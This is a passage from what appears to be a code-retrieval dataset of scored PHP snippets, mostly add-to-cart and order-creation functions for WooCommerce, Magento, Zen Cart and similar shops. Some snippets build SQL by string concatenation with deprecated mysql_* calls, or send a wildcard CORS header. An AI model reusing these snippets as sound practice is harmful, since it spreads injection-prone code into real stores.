$product['options'] ) && ! empty( $product['options'] ) ) {\n\n $order->add_product( wc_get_product( $product['id'] ), $product['qty'], [ 'variation_id' => $product['options'], 'subtotal' => $product['price'], 'total' => $product['price'] ] );\n\n } else {\n\n $order->add_product( wc_get_product( $product['id'] ), $product['qty'], [ 'subtotal' => $product['price'], 'total' => $product['price'] ] );\n\n }\n\n $count++;\n\n }\n\n // Check if payment full or some monthly.\n if ( $payment_method === 'full' ) {\n\n $order->calculate_totals();\n\n } else {\n\n // Remove all subscription and variable subscription products since they are processed in the first order only.\n $removeTypes = [ 'subscription', 'variable-subscription' ];\n $products_after_removal = array_filter( $products, function($v) use ( $removeTypes ) {\n\n return ! in_array( $v['type'], $removeTypes );\n\n });\n\n // Process All Payments\n foreach ( $payments['orders'] as $payment ) {\n\n // If first order, just set the total.\n if ( $payment === reset( $payments['orders'] ) ) {\n\n $order->set_total( $payment['order_price'] );\n\n } else {\n\n // Get the order date and append 00:00:00 time to it.\n $next_order_date = $payment['order_date'] . '00:00:00';\n\n // Convert string to time.\n $schedule_at = strtotime( $next_order_date );\n\n // Create args array that will hold all of our products and order price.\n $args = [\n 'products' => $products_after_removal,\n 'order' => [\n 'order_price' => $payment['order_price']\n ],\n 'user' => $user\n ];\n\n // Schedule a single event, cron.\n wp_schedule_single_event( $schedule_at, 'create_new_order', [ $args ] );\n\n }\n\n }\n }\n\n $data = [];\n\n if ( $count > 0 ) {\n\n $order->save();\n\n update_post_meta( $order->get_id(), 'rc_order_products', $products );\n update_post_meta( $order->get_id(), 'rc_order_payments', $payments );\n\n switch_to_user( $user_id );\n\n $redirect_url = $order->get_checkout_payment_url();\n\n $data['error'] = false;\n $data['redirect'] = $redirect_url;\n\n } else {\n\n $data['error'] = true;\n\n }\n\n wp_send_json( $data );\n\n }", "title": "" } ]
[ { "docid": "9fa660381275b35cd167b6935d358903", "score": "0.6875737", "text": "public function addToCartAjax()\n {\n $request_body = file_get_contents('php://input');\n $data = json_decode($request_body, true);\n\n $productId = (int)$data['productId'];\n $quantity = (int)$data['quantity'];\n\n if (!isset($_SESSION['cart'])) {\n $_SESSION['cart'] = [];\n $_SESSION['quantity'] = 0;\n }\n\n if (!isset($_SESSION['total_cost'])) {\n $_SESSION['total_cost'] = 0;\n }\n\n $_SESSION['quantity'] += $quantity;\n $productModel = new Product();\n $product = $productModel->getOneProduct($productId);\n\n $_SESSION['total_cost'] += $quantity * $product['price'];\n\n if (!empty($_SESSION['cart'][$productId])) {\n $_SESSION['cart'][$productId]['quantity'] = $_SESSION['cart'][$productId]['quantity'] + $quantity;\n } else {\n $_SESSION['cart'][$productId] = $product;\n $_SESSION['cart'][$productId]['quantity'] = $quantity;\n }\n\n echo json_encode(['msg' => 'Uspesno ste dodali proizvod u korpu', 'quantity' => $_SESSION['quantity']]);\n\n }", "title": "" }, { "docid": "8e7687ba5ad9ec92510060b1f56f9834", "score": "0.6709152", "text": "public function actionShoppingcart()\n {\n $this->setPositionIndicator(Controller::POSITION_CART);\n $orderItems = [];\n $totalPrice = 0;\n $order = null;\n\n if(isset($_SESSION['shoppingCart']) && count($_SESSION['shoppingCart']) > 0)\n { \n $targetQuantity = null;\n $targetProductID = null;\n //check if the amount of an item should be changed\n if(isset($_POST['pid']) && isset($_POST['updateCart']) && isset($_POST['quantity']))\n {\n $targetQuantity = $_POST['quantity'];\n $targetProductID = $_POST['pid'];\n if($targetQuantity <= 0)\n {\n $targetQuantity = 0;\n unset($_SESSION['shoppingCart'][$targetProductID]);\n }\n else\n {\n $_SESSION['shoppingCart'][$targetProductID] = $targetQuantity;\n }\n }\n\n $order = new Order(array());\n \n $targetProductPrice = 0;\n //create new Order Item for each entry in cart\n foreach($_SESSION['shoppingCart'] as $productID => $quantity)\n {\n \n //check if product ID is valid\n $currentProduct = Product::findOne('id=' . $productID . ' AND isHidden=0');\n if($currentProduct !== null)\n {\n //add new Item to orders\n $currentOrderItem = new OrderItem(array());\n \n $currentOrderItem->quantity = $quantity;\n $currentOrderItem->productsID = $productID;\n $currentOrderItem->actualPrice = $quantity * $currentProduct->standardPrice;\n\n $order->addOrderItem($currentOrderItem);\n \n //set price of desired product for ajax purpose\n if(isset($targetProductID) && $currentProduct->id == $targetProductID) \n {\n $targetProductPrice = $currentOrderItem->formattedActualPrice;\n }\n }\n }\n\n $totalPrice = $order->calculateTotalPrice();\n $_SESSION['currentOrder'] = serialize($order);\n\n if(isset($_POST['ajax']) && $_POST['ajax'] == 1) {\n $returnArray = array(\n 'productID' => $targetProductID,\n 'targetQuantity' => $targetQuantity,\n 'targetPrice' => $targetProductPrice,\n 'numberOfProducts' => $this->getNumberOfCartItems(),\n 'totalPrice' => $totalPrice\n );\n echo json_encode($returnArray);\n exit(0);\n }\n }\n \n $this->setParam('orderItems', $orderItems);\n $this->setParam('totalPrice', $totalPrice);\n $this->setParam('order' , $order);\n }", "title": "" }, { "docid": "ada4d05f3d57a2cbc752705decb6a54d", "score": "0.66830987", "text": "public function add_product() {\n\n if ($this->input->is_ajax_request()) {\n $data = array(\n 'quantity' => $this->input->post('quantity'),\n 'id_product' => $this->input->post('id_product'),\n 'id_tmp' => $this->session->id_tmp\n );\n $this->output->set_content_type('application/json');\n $this->output->set_header('Access-Control-Allow-Origin: *');\n $this->output->set_output(json_encode($this->boutique_model->create_cart($data, $this->input->post('id_product'))));\n }\n }", "title": "" }, { "docid": "1b19f6a0361aaa108297ab1b9c02cc52", "score": "0.6580909", "text": "public static function add_to_cart_ajax() {\n\t\tif( ! isset( $_REQUEST['add-to-cart'] ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\t$product_id = intval( $_REQUEST['add-to-cart'] );\n\n\t\tif ( wc_notice_count( 'error' ) === 0 ) {\n\t\t\t// Fragments and mini cart are returned\n\t\t\t$notices_success = self::add_to_cart_message_product_detail( $product_id );\n\n\t\t\t$data = array(\n\t\t\t\t'status' \t=> 'true',\n\t\t\t\t'notice' \t=> $notices_success,\n\t\t\t);\n\t\t} else {\n\t\t\t$notices_error = wc_get_notices( 'error' );\n\n\t\t\t$data = array(\n\t\t\t\t'status' => 'false',\n\t\t\t\t'notice' => isset( $notices_error[0] ) ? $notices_error[0] : __( 'Not validate.', 'wr-nitro' ),\n\t\t\t);\n\t\t}\n\n\t\techo '<script id=\"tp-notice-html\" type=\"text/html\">' . json_encode( $data ) . '</script>';\n\n\t\t// Exit immediately to prevent WordPress from processing further.\n\t\texit;\n\t}", "title": "" }, { "docid": "cda099ce83bcb8b12ad9b66fe54e3470", "score": "0.65551823", "text": "function add_cart($products_id, $qty = '1', $attributes = '', $notify = true) {\n\t global $db;\n\t $this->notify('NOTIFIER_CART_ADD_CART_START', array('products_id' => $products_id));\n\t $products_id = zen_get_uprid($products_id, $attributes);\n\t if ($notify == true) {\n\t $_SESSION['new_products_id_in_cart'] = $products_id;\n\t }\n\n\t $qty = $this->adjust_quantity($qty, $products_id, 'shopping_cart');\n\n\t if ($this->in_cart($products_id)) {\n\t $this->update_quantity($products_id, $qty, $attributes);\n\t } else {\n\t $this->contents[] = array($products_id);\n\t $this->contents[$products_id] = array('qty' => (float)$qty);\n\t // insert into database\n\t if (isset($_SESSION['customer_id'])) {\n\t $sql = \"insert into \" . TABLE_CUSTOMERS_BASKET . \"\n\t (customers_id, products_id, customers_basket_quantity,\n\t customers_basket_date_added)\n\t values ('\" . (int)$_SESSION['customer_id'] . \"', '\" . zen_db_input($products_id) . \"', '\" .\n\t $qty . \"', '\" . date('Ymd') . \"')\";\n\n\t $db->Execute($sql);\n\t }\n\n\t if (is_array($attributes)) {\n\t reset($attributes);\n\t while (list($option, $value) = each($attributes)) {\n\t //CLR 020606 check if input was from text box. If so, store additional attribute information\n\t //CLR 020708 check if text input is blank, if so do not add to attribute lists\n\t //CLR 030228 add htmlspecialchars processing. This handles quotes and other special chars in the user input.\n\t $attr_value = NULL;\n\t $blank_value = FALSE;\n\t if (strstr($option, TEXT_PREFIX)) {\n\t if (trim($value) == NULL) {\n\t $blank_value = TRUE;\n\t } else {\n\t $option = substr($option, strlen(TEXT_PREFIX));\n\t $attr_value = stripslashes($value);\n\t $value = PRODUCTS_OPTIONS_VALUES_TEXT_ID;\n\t $this->contents[$products_id]['attributes_values'][$option] = $attr_value;\n\t }\n\t }\n\n\t if (!$blank_value) {\n\t if (is_array($value) ) {\n\t reset($value);\n\t while (list($opt, $val) = each($value)) {\n\t $this->contents[$products_id]['attributes'][$option.'_chk'.$val] = $val;\n\t }\n\t } else {\n\t $this->contents[$products_id]['attributes'][$option] = $value;\n\t }\n\t // insert into database\n\t //CLR 020606 update db insert to include attribute value_text. This is needed for text attributes.\n\t //CLR 030228 add zen_db_input() processing\n\t if (isset($_SESSION['customer_id'])) {\n\n\t // if (zen_session_is_registered('customer_id')) zen_db_query(\"insert into \" . TABLE_CUSTOMERS_BASKET_ATTRIBUTES . \" (customers_id, products_id, products_options_id, products_options_value_id, products_options_value_text) values ('\" . (int)$customer_id . \"', '\" . zen_db_input($products_id) . \"', '\" . (int)$option . \"', '\" . (int)$value . \"', '\" . zen_db_input($attr_value) . \"')\");\n\t if (is_array($value) ) {\n\t reset($value);\n\t while (list($opt, $val) = each($value)) {\n\t $products_options_sort_order= zen_get_attributes_options_sort_order(zen_get_prid($products_id), $option, $opt);\n\t $sql = \"insert into \" . TABLE_CUSTOMERS_BASKET_ATTRIBUTES . \"\n\t (customers_id, products_id, products_options_id, products_options_value_id, products_options_sort_order)\n\t values ('\" . (int)$_SESSION['customer_id'] . \"', '\" . zen_db_input($products_id) . \"', '\" .\n\t (int)$option.'_chk'. (int)$val . \"', '\" . (int)$val . \"', '\" . $products_options_sort_order . \"')\";\n\n\t $db->Execute($sql);\n\t }\n\t } else {\n\t if ($attr_value) {\n\t $attr_value = zen_db_input($attr_value);\n\t }\n\t $products_options_sort_order= zen_get_attributes_options_sort_order(zen_get_prid($products_id), $option, $value);\n\t $sql = \"insert into \" . TABLE_CUSTOMERS_BASKET_ATTRIBUTES . \"\n\t (customers_id, products_id, products_options_id, products_options_value_id, products_options_value_text, products_options_sort_order)\n\t values ('\" . (int)$_SESSION['customer_id'] . \"', '\" . zen_db_input($products_id) . \"', '\" .\n\t (int)$option . \"', '\" . (int)$value . \"', '\" . $attr_value . \"', '\" . $products_options_sort_order . \"')\";\n\n\t $db->Execute($sql);\n\t }\n\t }\n\t }\n\t }\n\t }\n\t }\n\t $this->cleanup();\n\n\t // assign a temporary unique ID to the order contents to prevent hack attempts during the checkout procedure\n\t $this->cartID = $this->generate_cart_id();\n\t $this->notify('NOTIFIER_CART_ADD_CART_END');\n\t }", "title": "" }, { "docid": "a8e39663ae57b494c43c41cc29612092", "score": "0.6540857", "text": "public function addAction()\n {\n $cart = $this->_getCart();\n $params = $this->getRequest()->getParams();\n\n try {\n\n foreach($params['products'] as $_child){\n\n // get required params to add in cart\n $_child['uenc'] = $params['uenc'];\n\n if (isset($_child['qty'])) {\n $filter = new Zend_Filter_LocalizedToNormalized(\n array('locale' => Mage::app()->getLocale()->getLocaleCode())\n );\n $_child['qty'] = $filter->filter($_child['qty']);\n }\n\n if(!array_key_exists('qty', $_child) || $_child['qty'] == 0){\n continue; // check qty\n }\n\n $product = $this->_initProduct($_child['product']);\n\n /**\n * Check product availability\n */\n if (!$product) {\n $this->_goBack();\n return;\n }\n\n $related = $this->getRequest()->getParam('related_product');\n\n $cart->addProduct($product, $_child);\n if (!empty($related)) {\n $cart->addProductsByIds(explode(',', $related));\n }\n }\n\n $cart->save();\n\n $this->_getSession()->setCartWasUpdated(true);\n\n /**\n * @todo remove wishlist observer processAddToCart\n */\n Mage::dispatchEvent('checkout_cart_add_product_complete',\n array('product' => $product, 'request' => $this->getRequest(), 'response' => $this->getResponse())\n );\n\n if (!$this->_getSession()->getNoCartRedirect(true)) {\n if (!$cart->getQuote()->getHasError()){\n $message = $this->__('%s was added to your shopping cart.', Mage::helper('core')->escapeHtml($product->getName()));\n $this->_getSession()->addSuccess($message);\n }\n $this->_goBack();\n }\n } catch (Mage_Core_Exception $e) {\n if ($this->_getSession()->getUseNotice(true)) {\n $this->_getSession()->addNotice(Mage::helper('core')->escapeHtml($e->getMessage()));\n } else {\n $messages = array_unique(explode(\"\\n\", $e->getMessage()));\n foreach ($messages as $message) {\n $this->_getSession()->addError(Mage::helper('core')->escapeHtml($message));\n }\n }\n\n $url = $this->_getSession()->getRedirectUrl(true);\n if ($url) {\n $this->getResponse()->setRedirect($url);\n } else {\n $this->_redirectReferer(Mage::helper('checkout/cart')->getCartUrl());\n }\n } catch (Exception $e) {\n $this->_getSession()->addException($e, $this->__('Cannot add the item to shopping cart.'));\n Mage::logException($e);\n $this->_goBack();\n }\n }", "title": "" }, { "docid": "54d4019adcdf2582909de8ccf7b60df6", "score": "0.6363869", "text": "public function addAction()\n {\n // Disable the redirect\n $this->_getSession()->setNoCartRedirect(true);\n\n // Call the parent\n parent::addAction();\n\n // Remove the output for the root block\n $this->loadLayout();\n $this->getLayout()->removeOutputBlock('root');\n\n // Display our page (with specific templates)\n $ajaxcart = $this->getLayout()->getBlock('ajaxcart');\n $ajaxcart->assign(array(\n 'product' => $this->_initProduct(),\n 'success' => Mage::registry('product_added_successfully', false)\n ));\n $this->renderLayout('ajaxcart');\n }", "title": "" }, { "docid": "9b0f0dcb68512dca7d1a5a19a805e13b", "score": "0.6340676", "text": "private function _createOrder($products){\n $cart = Mage::getSingleton('checkout/cart', array('name' => 'frontend'));\n $cart->init();\n /*foreach( $session->getQuote()->getItemsCollection() as $item ){\n $cart->removeItem($item->getId());\n }*/\n\n foreach($products as $one){\n $product = Mage::getModel('catalog/product');\n //$product->setStoreId(Mage::app()->getStore()->getId());\n $id = $product->getIdBySku($one->sku);\n $product->load($id);\n $qty = Mage::getModel('cataloginventory/stock_item')->loadByProduct($id)->getQty();\n try{\n $cart->addProduct($product, array(\n 'product' => $id,\n 'qty' => min($one->count, $qty),\n ));\n }catch (Exception $e){\n //print_r($e->getMessage());\n //exit;\n }\n }\n $cart->save();\n\n /** @var $session Mage_Checkout_Model_Session */\n $session = Mage::getSingleton('core/session', array('name' => 'frontend'));\n $session->setCartWasUpdated(true);\n return $session->getSessionIdQueryParam() .'='. $session->getSessionId();\n }", "title": "" }, { "docid": "0b84ebb0ca2962125d6236e5ef452390", "score": "0.63313484", "text": "function fn_trip_build_post_add_to_cart($product_data, $cart, $auth, $update)\n{\n trip_build_trace('>>> trip_build: product added to cart!');\n}", "title": "" }, { "docid": "66d830840951f5c412bfb5cd5618c814", "score": "0.6280689", "text": "function addProducts(){\n\t\tif($_REQUEST['pname'] != '' && $_REQUEST['price'] != '' && $_REQUEST['qnty'] != '' && $_REQUEST['pid'] != ''){\n\t\t$pname = stripslashes($_REQUEST['pname']);\n\t\t$price = stripslashes($_REQUEST['price']);\n\t\t$qnty = stripslashes($_REQUEST['qnty']);\n\t\t$pid = stripslashes($_REQUEST['pid']);\n\n\t\t$pname = mysql_real_escape_string($_REQUEST['pname']);\n\t\t$price = mysql_real_escape_string($_REQUEST['price']);\n\t\t$qnty = mysql_real_escape_string($_REQUEST['qnty']);\n\t\t$pid = mysql_real_escape_string($_REQUEST['pid']);\n\t\t$total = $price * $qnty;\n\n\t\t$addprod_qry = \"INSERT INTO show_cart VALUES('\".$pid.\"','\".$pname.\"','\".$price.\"','\".$qnty.\"','\".$total.\"')\";\n\t\t$addres= @mysql_query($addprod_qry)or die(\"Error:\".mysql_error());\n\t\t\tif($addres){\n\t\t\t\t\t//to show alert message after submission\n\t\t\t\t\t//comment this success msg if alert is not required\n\t\t\t\t\techo \"Successfully Added to Cart\";\n\t\t\t\t\t//to show shopping cart values after submission \n\t\t\t\t\t//remove comments to showCart class(i.e.,$this->showCart()) it will display the list of products after submission\n\t\t\t\t\t//$this->showCart();\n\t\t\t}else\n\t\t\t{\n\t\t\t\tdie(\"Error:\".mysql_error());\n\t\t\t}\n\t\t}else{\n\t\t echo \"Please Enter All Fields Correctly\";\n\t\t}\n\t}", "title": "" }, { "docid": "4bb218925f836b26eb6863b5f2f42008", "score": "0.6267113", "text": "protected function _execute () {\n $cart = $this->_session->get('shop', 'cart');\n\n if ($cart === null) {\n $cart = [];\n }\n\n $this->_view->set('cart', $cart);\n\n // if the form is submitted save order\n if ($this->_request->method() == 'post') {\n \n $input = [\n 'payment' => $this->_input['payment'],\n 'status' => 'pre',\n 'name' => $this->_input['name'],\n 'address' => $this->_input['address'],\n 'email' => $this->_input['email'],\n ];\n\n $shop_id = $this->_api_client->save('/shop/null', $input);\n if (!$shop_id) {\n $this->_logger->error('Failed to save order');\n $this->_request->redirect('/shop');\n }\n\n // get product data for insertion\n foreach ($cart as $sku => $quantity) {\n $product_input = [\n 'sku' => $sku,\n 'offset_start' => 0,\n 'offset_end' => 1,\n ];\n\n $product = $this->_api_client->get('/product', $product_input)[0];\n $input['product_id'] = [\n 'product_id' => $product->id,\n 'quantity' => $quantity\n ];\n $result = $this->_api_client->save('/shop/' . $shop_id, $input);\n if (!$result) {\n $this->_logger->error('Failed to save product to order');\n $this->_request->redirect('/shop');\n }\n\n }\n \n $input['status'] = 'ordered';\n $result = $this->_api_client->save('/shop/' . $shop_id, $input);\n \n // success, send mail and do all stuff\n\n $this->_session->set('shop', 'cart', []);\n $this->_request->redirect('/thankyou');\n }\n }", "title": "" }, { "docid": "d9a3b8f96bf9e42ce943512a93e04629", "score": "0.62350774", "text": "public function place_order() {\n if(empty($_SESSION['item_cart'])) {\n $_SESSION['message'] = 'Your cart is empty.';\n echo json_encode(['success' => false]);\n } else {\n foreach($_SESSION['item_cart'] as $key => $value) {\n $product_id = $value['product_id'];\n $product_quantity = $value['product_quantity'];\n $product_stocks = $value['product_stocks'];\n $query = '';\n $query .= $this->db->query(\"INSERT INTO products_transactions_tbl (product_id,product_quantity) VALUES ($product_id,$product_quantity)\");\n $query .= $this->db->query(\"UPDATE products_tbl SET product_stocks = $product_stocks - $product_quantity WHERE product_id = $product_id\");\n }\n if($query) {\n $_SESSION['message'] = 'Transaction has been completed!';\n unset($_SESSION['item_cart']);\n echo json_encode(['success' => true]);\n }\n }\n \n }", "title": "" }, { "docid": "a7fa2e022be68bf0182d6be6d5921f4a", "score": "0.62154007", "text": "public function actionAddtoorder()\n {\n $order_id = Yii::$app->request->post('order_id');\n $product_id = Yii::$app->request->post('product_id');\n\n if ($order_id > 0 && $product_id > 0) {\n return Order::addProduct($order_id, $product_id);\n }\n }", "title": "" }, { "docid": "adefadd78f0722385f3b8b45f6115b37", "score": "0.6215163", "text": "public function addAllToCart() {\n $idShoppingList = Tools::getValue('id_shopping_list');\n $shoppingListObj = ShoppingListObject::loadByIdAndCustomer($idShoppingList, $this->context->cookie->id_customer);\n $products = $shoppingListObj->getAllProducts();\n \n foreach($products as $product) {\n $this->updateProductInCart($idShoppingList, $product['id_product'], $product['id_product_attribute']);\n }\n\n $this->indexShoppingListProduct($idShoppingList);\n }", "title": "" }, { "docid": "d2b76a655c9b7f998c6ddd1d52ea5d86", "score": "0.6193517", "text": "public function add(){\n\t\tif($this->input->get('id') && $this->input->get('qty') && $this->input->get('price')){\n\t\t\t$data = [\n\t\t\t\t'id' => $this->input->get('id'),\n\t\t 'qty' => $this->input->get('qty'),\n\t\t 'price' => $this->input->get('price'),\n\t\t 'name' => 'Product name',\n\t\t // 'thumbnail' => $this->input->get('thumbnail') ? $this->input->get('thumbnail') : ''\n\t\t\t];\n\n\t\t\t$this->cart->insert($data);\n\t\t\t//TODO: Set success flash data if you want\n\t\t}\n\n\t\t//TODO: Add fail flash data if you want\n\t\tredirect('/cart','refresh');\n\t}", "title": "" }, { "docid": "4c99467fc4c2286cb1f3dca789dbb24d", "score": "0.6192426", "text": "public function add() {\r\n\t\t$product = $this->pages_model->get($this->input->post('id'));\r\n\t\tif ($this->ion_auth->is_wholesaler()) {\r\n\t\t\t$data = [\r\n\t\t\t\t'id' => $this->input->post('id'),\r\n\t\t\t\t'qty' => 5,\r\n\t\t\t\t'vendor_id' => $product->vendor_id,\r\n\t\t\t\t'price' => $product->wholesale_price,\r\n\t\t\t\t'name' => $product->name,\r\n\t\t\t\t'image' => $product->image,\r\n\t\t\t\t'slug' => $product->slug\r\n\t\t\t];\r\n\t\t} else {\r\n\t\t\t$data = [\r\n\t\t\t\t'id' => $this->input->post('id'),\r\n\t\t\t\t'qty' => 1,\r\n\t\t\t\t'vendor_id' => $product->vendor_id,\r\n\t\t\t\t'price' => $product->sale_price,\r\n\t\t\t\t'name' => $product->name,\r\n\t\t\t\t'image' => $product->image,\r\n\t\t\t\t'slug' => $product->slug\r\n\t\t\t];\r\n\t\t}\r\n\t\t\r\n\t\t$this->cart->insert($data);\r\n\t\tredirect('/');\r\n\t}", "title": "" }, { "docid": "bd115586089d1d29da1eed3d88c45698", "score": "0.617604", "text": "private function _addProductsToCart($products){\n\t\t$cart = Mage::getSingleton('checkout/cart', array('name' => 'frontend'));\n\t\t$cart->init();\n\n\t\tif ($cart->getItemsCount()){\n\t\t\t$cart->truncate();\n\t\t}\n\t\tforeach($products as $one){\n\t\t\t$productModel = Mage::getModel('catalog/product');\n\t\t\t$id = $productModel->getIdBySku($one->sku);\n\t\t\t$product = $productModel->load($id);\n\t\t\t$qty = Mage::getModel('cataloginventory/stock_item')->loadByProduct($id)->getQty();\n\t\t\t$options = array();\n\t\t\t$type = $product->getTypeId();\n\t\t\t// var_dump($type);\n switch($type){\n case Mage_Catalog_Model_Product_Type::TYPE_SIMPLE: // Simple product (with attributes)\n\t\t\t\t\t// if($one->options){\n\t\t\t\t\t// \tforeach ($one->options as $opt => $value) {\n\t\t\t\t\t// \t\t$option_id = $this->_getCustomOptionId($product, $opt);\n\t\t\t\t\t// \t\t$option_value_id = $this->_getCustomOptionTypeId($product, $option_id, $value);\n\t\t\t\t\t// \t\t$options[$option_id] = $option_value_id;\n\t\t\t\t\t// \t}\n\t\t\t\t\t// }\n\t\t\t\t\tbreak;\n\t\t\t\tcase Mage_Catalog_Model_Product_Type::TYPE_CONFIGURABLE:\n\t\t\t $instance = $product->getTypeInstance(true);\n\t\t\t $associated_products = $instance->getUsedProducts(null, $product);\n\t\t\t $product = array_shift($associated_products);\n\t\t\t\t\t// $conf = $this->_getAssociatedProductByAttributes($id,$one->options);\n\t\t\t\t\t// $id = $conf->getEntityId();\n\t\t\t\t\t// $product = $conf;\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\ttry{\n\t\t\t\t// $params = new Varien_Object(array(\n\t // 'product' => $id,\n\t // 'qty' => min($one->count, $qty),\n\t // 'options' => $options\n\t // ));\n\t\t\t\t// $cart->addProduct($product, $params);\n\t\t\t\t$cart->addProduct($product);\n\t\t\t}catch (Exception $e){\n\t\t\t\tprint_r($e->getMessage());\n\t\t\t\texit;\n\t\t\t}\n\t\t}\n\t\t$cart->save();\n\n\t\t/** @var $session Mage_Checkout_Model_Session */\n\t\t$session = Mage::getSingleton('core/session', array('name' => 'frontend'));\n\t\t$session->setCartWasUpdated(true);\n\t\treturn $session->getSessionIdQueryParam() .'='. $session->getSessionId();\n\t}", "title": "" }, { "docid": "d79606fad2eee4d7278e383e5feebb0e", "score": "0.6164036", "text": "public function addCart($products_id, $new_qty = '1', $real_ids = '', $notify = true){\n // verify qty to add\n // $real_ids = $_POST['id'];\n //die('I see Add to Cart: ' . $_POST['products_id'] . 'real id ' . zen_get_uprid($_POST['products_id'], $real_ids) . ' add qty: ' . $add_max . ' - cart qty: ' . $cart_qty . ' - newqty: ' . $new_qty);\n $add_max = zen_get_products_quantity_order_max($products_id);\n $cart_qty = $this->in_cart_mixed($products_id);\n //$messageStack->add_session('header', 'actionAddProduct Products_id: ' . $_POST['products_id'] . ' qty: ' . $cart_qty . ' <br>', 'caution'); \n\n //echo 'I SEE actionAddProduct: ' . $_POST['products_id'] . '<br>';\n $new_qty = $this->adjust_quantity($new_qty, $products_id, 'shopping_cart');\n\n $adjust_max = false;\n if (($add_max == 1 and $cart_qty == 1)) {\n // do not add\n $new_qty = 0;\n $adjust_max = true;\n } else {\n // adjust quantity if needed\n if (($new_qty + $cart_qty > $add_max) and $add_max != 0) {\n $adjust_max = true;\n $new_qty = $add_max - $cart_qty;\n }\n }\n \n if ($adjust_max == 'true') {\n $this->logger->add(array('message' => ERROR_MAXIMUM_QTY.$products_id, 'type' => 'caution'));\n }\n \n $this->add_cart($products_id, $this->get_quantity(zen_get_uprid($products_id, $real_ids))+$new_qty, $real_ids, $notify);\n }", "title": "" }, { "docid": "bfbf5b59b8660002f62f474a0b3dab79", "score": "0.61626256", "text": "public function actionAdd(){\n // Get Product ID\n $id = Yii::$app->request->get('id');\n // Get Product QTY\n $qty = (int)Yii::$app->request->get('qty');\n $qty = !$qty ? 1 : $qty;\n\n // Get product from DB\n $product = Product::findOne($id);\n if(empty($product)) return false;\n\n // Start session\n $session = Yii::$app->session;\n $session->open();\n\n // Add to Cart\n $cart = new Cart();\n $cart->addToCart($product, $qty);\n\n// debug($session['cart']);\n// debug($session['cart.qty']);\n// debug($session['cart.sum']);\n\n // if Ajax disable\n if ( !Yii::$app->request->isAjax ){\n return $this->redirect(Yii::$app->request->referrer);\n }\n\n $this->layout = false;\n return $this->render('cart-modal', compact('session'));\n\n }", "title": "" }, { "docid": "5bc9172479baa083a9254f7ca22c2829", "score": "0.6160752", "text": "public function add_order(OrderRequest $req){\n // $total_price_after_tax = \\Cart::session(Auth::user()->id)->getSubTotal() * (1 + 3/100);\n $setting = Setting::first();\n $total = \\Cart::session(Auth::user()->id)->getSubTotal() * $setting->tax/100;\n $total_price_after_tax = \\Cart::session(Auth::user()->id)->getSubTotal() + $total;\n $order = Order::create([\n 'city' => $req->city,\n 'address' => $req->address,\n 'total_price_after_tax'=> $total_price_after_tax,\n 'tax' => $setting->tax,\n 'user_id' => Auth::user()->id,\n ]);\n\n // Insert into order_meal table\n foreach (\\Cart::session(Auth::user()->id)->getContent() as $product) {\n $OrderProdcut = OrderProdcut::create([\n 'price' => $product->price,\n 'total_price' => \\Cart::getTotal(),\n 'order_id' => $order->id,\n 'product_id' => $product->id,\n 'quantity' => $product->quantity,\n ]);\n\n }\n \\Cart::clear(); // امسح السيشن\n return response()->json([$order],200);\n}", "title": "" }, { "docid": "31b81c62d1e3e77001141e2c3e1ac551", "score": "0.61226535", "text": "public function cartAdd($evt){\n if (Mage::helper('mitra')->isPluginActive()) {\n Mage::helper('mitra/log')->log(\"cartAdd\");\n $product = $evt->getEvent()->getProduct();\n $quote = Mage::getModel('checkout/cart')->getQuote();\n $item = $quote->getItemByProduct( $product );\n Mage::helper('mitra/order')->postCart($item);\n }\n }", "title": "" }, { "docid": "83c3ec77b6618207520b2973ce8fd871", "score": "0.61214745", "text": "public function add_to_cart()\n{\n\t$product_id = $this->input->post('product_id');\n\t$product_qty = $this->input->post('product_qty');\n\t$product_price = $this->input->post('product_price');\n\t$product_title = $this->input->post('product_title');\n\n\t$product_size = $this->input->post('product_size');\n\t$product_color = $this->input->post('product_color');\n\n\n\n\t$data=array(\n\t\t'id'\t=>\t$product_id,\n\t\t'qty'\t=>\t$product_qty,\n\t\t'price'\t=>\t$product_price,\n\t\t'name'\t=>\t$product_id,\n\t\t'options' => array('Size' => $product_size,'Color'=>$product_color)\n\t);\n\n\n\n\n\t$this->cart->insert($data);\n\n\t$cart_items = $cart_total = 0;\n\tforeach ($this->cart->contents() as $key => $val) {\n\t\t$cart_items += $val['qty'];\n\t\t$cart_total += $val['subtotal'];\n\t}\n\t$data['cart_items']=$cart_items;\n\t$data['cart_total']=$cart_total;\n\n\n\techo json_encode($data);\n\n\n}", "title": "" }, { "docid": "2c900411620554df0fb03cd2f4dfad8a", "score": "0.60907483", "text": "public function addToCartAction()\n {\n /** @var Buckaroo_Buckaroo3Extended_Model_PaymentMethods_Applepay_Process $process */\n $process = Mage::getModel(' buckaroo3extended/paymentMethods_applepay_process');\n $postData = $this->getRequest()->getPost() ?: $process->sanitizeParams(${'_GET'});\n if (!$postData['product']) {\n return;\n }\n \n $product = $postData['product'];\n $applePayInit = Mage::getSingleton('checkout/session')->getApplePayInit();\n \n if ($applePayInit) {\n /**\n * Set apple_pay_init to null, so the cart will not be restored on\n * shipping contact change\n */\n Mage::getSingleton('checkout/session')->setApplePayInit(null);\n \n /** Get the old QuoteId and set it */\n $oldQuoteId = Mage::getModel('checkout/session')->getQuote()->getId();\n Mage::getSingleton('checkout/session')->setOldQuoteId($oldQuoteId);\n \n /** Build new quote */\n $newQuote = Mage::getModel('sales/quote');\n $newQuote->setData('is_active', 1);\n $newQuote->save();\n $newQuoteId = $newQuote->getId();\n \n Mage::getSingleton('checkout/session')->setQuoteId($newQuoteId);\n }\n \n \n /** @var Mage_Checkout_Model_Cart $cart */\n $cart = Mage::getModel('checkout/cart');\n $cart->truncate();\n $cart->init();\n \n /** @var Mage_Catalog_Model_Product $productCollection */\n $productCollection = Mage::getModel('catalog/product')->load($product['id']);\n \n /**\n * If product is configurable, build an array of the selected options.\n */\n $options = array();\n if ($productCollection->isConfigurable()) {\n $form = array_column($postData['product']['options'], 'value', 'name');\n $availableOptions = $productCollection->getTypeInstance(true)->getConfigurableAttributes($productCollection)->getItems();\n $selectedOptions = array_filter(\n $form, function ($name, $value) {\n return (strpos($value, 'super_attribute') !== false);\n }, ARRAY_FILTER_USE_BOTH\n );\n \n foreach ($availableOptions as $option) {\n $id = $option->getAttributeId();\n if (array_key_exists(\"super_attribute[$id]\", $selectedOptions)) {\n $options[$id] = $selectedOptions[\"super_attribute[$id]\"];\n }\n }\n }\n \n /** @var Mage_Checkout_Model_Session $session */\n $session = Mage::getModel('checkout/session');\n \n try {\n $cart->addProduct($productCollection, array(\n 'product_id' 